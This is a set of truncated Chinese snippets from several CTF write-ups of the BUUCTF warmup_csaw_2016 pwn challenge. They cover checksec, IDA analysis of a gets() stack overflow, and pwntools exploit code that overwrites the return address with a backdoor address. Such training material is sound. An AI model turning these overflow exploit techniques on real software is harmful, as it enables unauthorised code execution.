BUUCTF—warmup_csaw_2016 首先我们查看一下保护机制 然后打开64位ida 先是输出了一个函数的地址,然后是一个gets的栈溢出,然后看看这个函数是干什么的,既然人家输出了,肯定有它的作用 点进去发现是个打印flag的后门函数,那么我们把返回地址改成这个函数的地址去执行这个函数就行了,然后这个程序并没有开启地址随机...
buuctf-pwn-warmup_csaw_2016 warmup_csaw_2016 定期pwn一下维持手感 1.检查 啥都没有捏 2.找漏洞 ida静态分析从main里面找到get 找到shell 思路是简单的栈溢出 3.信息收集 get_addr:0x40069e 距离rbp:0x40 shell_addr:0x400611 4.exp from pwn import * from libcsearcher import * import binascii ...
checksec target 结果为没有开启保护机制 GDB~peda调试 >gdb target >start (出现程序运行时的数据) >pattern_create 300 复制粘贴输入后 读取rbp中的字符串,复制 >pattern_offset Crtl+shift+v 读取为偏移量是64,考虑到Caller’s rbp为八个字节,最终payload要用64+8。 payload from pwn import* p = remote(...
buu warmup_csaw_2016 查看文件类型 file target (已重命名目标文件为target) 64位elf 查看保护机制 checksec target结果为没有开启保护机制 GDB~peda调试 \>gdb target\>start(出现程序运行时的数据)\>pattern_create 300复制粘贴输入后读取rbp中的字符串,复制\>pattern_offset Crtl+shift+v读取为偏移量是64,考...
拿到文件,先checksec,没开启保护。 运行, IDA查看,main函数中,可解读,gets没有限制输入长度,存在溢出。 payload:
warmup_csaw_2016 查看文件warmup_csaw_2016信息 拖入IDA分析,得到main函数。 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char s; // [rsp+0h] [rbp-80h] char v5; // [rsp+40h] [rbp-40h] write(1, "-Warm Up-\n", 0xAuLL); write(1, "WOW:", 4uLL); ...
warmup_csaw_2016 题目直接给出了函数位置,所以很明显就是要利用gets,gets参数的长度为0x40,所以我们再加上返回地址的8个字节,溢出的总长度为0x48,运行时候可以看出sub_40060D的地址就是它的名字,因此我们可以构建payload payload = b'a'*0x48+p64(0x40060D) ...
warmup_csaw_2016 启动靶机,提供文件与地址,并且提示环境为 Ubuntu 16,因此应该不存在前述关卡的特殊问题。 直接使用 IDA 进行反编译,F5 查看伪代码发现主函数中返回了一个 gets() 函数。老朋友了,有这个函数就好说了,栈溢出具有初步可行性。 代码语言:javascript ...
代码语言:javascript 复制 from pwnimport*sh=process("./warmup_csaw_2016")sh=remote("node3.buuoj.cn",27439)payload="a"*72cat=0x40060Dsleep(2)sh.sendline(payload+p64(cat))sh.interactive() 控制EIP指向代码段 pwn1_sctf_2016 IDA分析程序流程,发现程序只可以输入32个字符,而溢出点却要0x3c+4的...
3.warmup_csaw_2016 环境:Ubuntu 16 1.checksec [*]'/mnt/c/Disk E/CTF/Question/BUUCTF/pwn/warmup_csaw_2016/warmup_csaw_2016'Arch:amd64-64-little RELRO:PartialRELROStack:Nocanary found NX:NXdisabled PIE:NoPIE(0x400000)RWX:HasRWXsegments ...